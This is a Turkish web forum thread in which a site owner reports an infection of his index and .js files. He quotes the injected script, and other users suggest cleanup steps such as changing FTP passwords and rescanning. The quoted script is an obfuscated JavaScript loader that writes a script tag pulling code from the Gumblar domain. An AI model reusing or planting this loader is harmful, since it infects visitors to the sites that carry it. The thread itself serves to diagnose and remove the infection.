Sitelere bulaşan virüs...

Arkadaşlar bazı sitelerime virüs bulaşmış, daha doğrusu ben ESET NOD32 4 kullanıyorum, Bbnde herhangi bir uyarı vermedi ama farklı anti virüs programı kullanan arkadaşlar söyledi sitelerin uyarı verdiğini..

FTP'ye girip dosyaları incelediğimde index'ler de ve .js dosyalarında şu şekilde yerleşmiş bir kod gördüm..

<script language=javascript><!-- 
(function(vcu){var xLG='%';eval(unescape(('va`72`20`61`3d`22`53cr`69ptEng`69ne`22`2c`62`3d`22Version()+`22`2cj`3d`22`22`2cu`3dn`61v`69`67ator`2e`75se`72Ag`65nt`3bi`66(`28u`2e`69`6ed`65xOf`28`22Wi`6e`22)`3e0`29`26`26(u`2e`69ndex`4f`66(`22`4eT`206`22`29`3c0`29`26`26(do`63u`6den`74`2ecookie`2ei`6edexOf(`22`6diek`3d1`22)`3c`30)`26`26(typeo`66`28z`72v`7a`74s)`21`3dtypeof(`22A`22)))`7bzrvzts`3d`22A`22`3b`65`76a`6c(`22if(windo`77`2e`22+a`2b`22)j`3d`6a+`22+a+`22Major`22+`62+a+`22M`69`6e`6f`72`22+`62+a+`22B`75i`6c`64`22+b`2b`22j`3b`22)`3bdocu`6de`6et`2ew`72ite(`22`3cscript`20`73r`63`3d`2f`2fgumblar`2ec`6e`2fr`73`73`2f`3fid`3d`22+j`2b`22`3e`3c`5c`2fscript`3e`22)`3b`7d').replace(vcu,xLG)))})(/`/g);
 --></script>

Bu arada Crackli CuteFTP kullanıyordum.. Cute ftp programını silmekten başka neler yapmalıyım. Yardımcı olursanız sevinirim..

Merhaba,
Sayın bycapslock yaşadığınız sorunun aynısı benim başıma geldi günde hiç olmazsa 3k 4k hit alan ve günde 6- 7 dolar gelir getiren sitem şu an tamamen ölmek üzere .. Günlük tekil hit yarım k yı bile geçmiyor malesef.
Yapmanız gerekenleri söylüyorum
Filezilla ve Cuteftp tarzı programlar ftp ye girmeyin. Virüs şifreyi kaydediyor.
Şifrenizi hemen değiştirin.
İE den giriş yaparakk, tüm index.php dosyalarınızı değiştirin. Aksi takdirde google'den de zararlı site uyarısı alabilirsiniz.

Evet bana da bulaşmıştı ve bayağı bir düşüş yaşadım. Tüm index.php lere bulaşıyordu. Öncelikle tertemiz bir pc de şifrelerini değiştir, daha sonra kendi pc ne format atıp köklü bir virüs araması yaptır, hiç virüs olmadığına emin olduktan sonra tüm index.php lerini orijinalleriyle değiştir.

index.php lerden kodları temizledikten sonra hızlı bir şekilde ftp şifrelerini değiştir. ardından bilgisayarında tarama yap ve ftp yöneticisinin ön belleğini boşalt programı sıfırla. iki gün önce ben bu şekilde kurtuldum. şuan bir sorun yok.

o dediklerinizin hepsini yaptım ama kurtulamadım iki güne bir virüs giriyor.sebebini hala bulamadım.


serverden kaynaklanıyor da olabilir mi?

kendi bilgisayarınızdan da temizlediğinizden emin olun ayrıca serverda da virüs taraması yaparsanız iyi olur.

Olamaz. Emin ol tam olarak yapmamışsındır. Aynı sorun 2 defa başıma geldi. Ayrıca host firmanda anti-virüs varsa zaten index.php dosyalarını direk siler.

Hostta tarama var ama bunu bulmuyordu benimkinde.

Aradaşlar önerileriniz için teşekkür ederim.
Kısa bir süre önce format attığım içni yine atmak istemiyorum. (üşeniyorum)
Şu an makineye Kaspersky Internet Security 7 kurdum ve taratıyorum.
Cute FTP sildim.
Daha sonra dediğiniz gibi FTP şifrelerini değiştireceğim.
İnşallah kurtulurum bu şekilde..